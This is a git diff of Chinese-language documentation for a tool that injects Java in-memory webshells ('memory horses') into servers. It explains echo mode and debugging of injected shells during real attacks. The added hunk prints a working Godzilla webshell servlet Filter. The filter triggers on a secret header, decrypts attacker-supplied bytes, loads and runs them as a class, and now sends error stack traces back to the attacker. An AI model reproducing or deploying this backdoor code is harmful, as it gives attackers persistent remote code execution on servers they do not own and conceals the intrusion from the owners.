@@ -127,7 +127,7 @@ Logger.info(msg) // (java.util)
127127### 回显模式
128128
129129<Callout title = " 注意" type = " warn" >
130- 并不是所有服务都支持回显马,因此在不支持的服务开启回显模式 ,也享受不到回显效果
130+ 并不是所有服务都支持回显马,因此在不支持的服务即使开启回显模式 ,也享受不到回显效果
131131</Callout >
132132
133133调试模式仅限于我们能访问到业务日志,但是实战过程中,在没 getshell 前我们获取不到服务器权限,并且调试模式在目标业务打印大段注入信息属实敏感,因此有了回显模式。
@@ -140,6 +140,59 @@ Logger.info(msg) // (java.util)
140140 由于回显马需要从当前线程获取 request 和 response 对象,因此跨线程 RCE 的环境下,无法回显,根据代码执行顺序,无法回显的环境,开启回显模式之后注入器也不会进行注入动作,因此支持回显马但无法回显的环境,请一定不要开启回显模式。
141141</Callout >
142142
143+ 在确认了内存马注入成功后,如果发现连不上,我们需要调整我们的内存马,将错误信息带出,方便排查,内置的 Godzilla 已经默认支持了。
144+
145+ ``` java
146+ @Override
147+ public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException , IOException {
148+ HttpServletRequest request = (HttpServletRequest ) servletRequest;
149+ HttpServletResponse response = (HttpServletResponse ) servletResponse;
150+ try {
151+ if (request. getHeader(headerName) != null && request. getHeader(headerName). contains(headerValue)) {
152+ PrintWriter writer = response. getWriter();
153+ try {
154+ byte [] data = base64Decode(request. getParameter(pass));
155+ data = this . x(data, false );
156+ if (payload == null ) {
157+ payload = new GodzillaFilter (Thread . currentThread(). getContextClassLoader()). Q(data);
158+ } else {
159+ ByteArrayOutputStream arrOut = new ByteArrayOutputStream ();
160+ Object f = payload. newInstance();
161+ f. equals(arrOut);
162+ f. equals(request);
163+ f. equals(data);
164+ f. toString();
165+ writer. write(md5. substring(0 , 16 ));
166+ writer. write(base64Encode(this . x(arrOut. toByteArray(), true )));
167+ writer. write(md5. substring(16 ));
168+ }
169+ } catch (Throwable e) {
170+ e. printStackTrace();
171+ writer. write(getErrorMessage(e)); // [!code ++]
172+ }
173+ return ;
174+ }
175+ } catch (Throwable e) {
176+ e. printStackTrace();
177+ }
178+ chain. doFilter(servletRequest, servletResponse);
179+ }
180+
181+ private String getErrorMessage(Throwable throwable) { // [!code ++]
182+ PrintStream printStream = null ; // [!code ++]
183+ try { // [!code ++]
184+ ByteArrayOutputStream outputStream = new ByteArrayOutputStream (); // [!code ++]
185+ printStream = new PrintStream (outputStream); // [!code ++]
186+ throwable. printStackTrace(printStream); // [!code ++]
187+ return outputStream. toString(); // [!code ++]
188+ } finally { // [!code ++]
189+ if (printStream != null ) { // [!code ++]
190+ printStream. close(); // [!code ++]
191+ } // [!code ++]
192+ } // [!code ++]
193+ } // [!code ++]
194+ ```
195+
143196
144197### 绕过模块限制
145198
0 commit comments